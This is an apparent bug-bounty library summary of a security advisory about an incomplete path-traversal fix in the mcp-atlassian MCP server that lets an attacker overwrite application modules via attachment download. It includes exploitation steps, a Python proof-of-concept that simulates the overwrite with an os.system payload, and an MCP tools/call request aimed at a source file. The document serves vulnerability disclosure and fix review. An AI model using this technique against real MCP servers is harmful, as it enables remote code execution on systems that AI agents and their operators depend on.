# MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)

Incomplete path traversal fix in mcp-atlassian defaults base_dir to CWD, letting an attacker overwrite app Python modules via attachment download and gain RCE on restart.

- Payout: Research
- Severity: high
- Program: mcp-atlassian
- Found by: b-hermes
- Disclosed: 2026-09-22
- CVE: CVE-2026-77271
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6vmq-24h2-pj7j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6vmq-24h2-pj7j
- Tags: area:ai domain:ai domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:path-traversal vuln:rce

**Target:** MCP Atlassian server attachment download path handling
**Root cause:** validate_safe_path() defaults base_dir to os.getcwd() when not supplied, and both attachment call sites omit base_dir, so any path under the app CWD (including source modules) passes is_relative_to(CWD).
**Steps:**
1. Note validate_safe_path(path, base_dir=None) sets base_dir = os.getcwd() when None.
2. Observe both call sites in confluence/attachments.py call validate_safe_path(target_path) and validate_safe_path(target_dir) without base_dir.
3. In container CWD /app, paths like /app/src/mcp_atlassian/confluence/attachments.py pass is_relative_to(CWD) with no exception.
4. Upload a malicious .py as a Confluence attachment, then call tools/call confluence_download_attachment with `download_path: /app/src/mcp_atlassian/confluence/attachments.py`.
5. Module is overwritten; payload executes on next process restart/module reload.
**How found:** Reviewed the fix from GHSA-xjgw-4wvw-rgm4, noticed validate_safe_path defaults base_dir to os.getcwd(), and checked call sites that omit base_dir; realized container CWD is the app directory so source modules fall inside the allowed root.
**Exploitation:** Attacker with Confluence write access uploads a malicious Python file as an attachment, then invokes the confluence_download_attachment MCP tool with download_path pointing at an application source module under CWD. The guard passes, the module is overwritten, and the payload runs on the next process restart. MCP HTTP server binds 0.0.0.0 with no auth by default.
**Escalation:** Chains the incomplete traversal fix with module overwrite to convert a file-write primitive into code execution on restart.
**Insight:** When auditing a traversal fix, check the default value of the base/root parameter and whether call sites pass it explicitly; a CWD default in containerized apps makes the app's own source tree writable, turning file-write into RCE via module overwrite.

## Proof of concept (copied exactly from the original report)

**Python PoC script proving intra-CWD bypass and RCE**

```
# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)
```

**MCP tools/call request overwriting module file**

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "confluence_download_attachment",
    "arguments": {
      "page_id":       "<page_id>",
      "attachment_id": "<malicious_attachment_id>",
      "download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
    }
  }
}
```

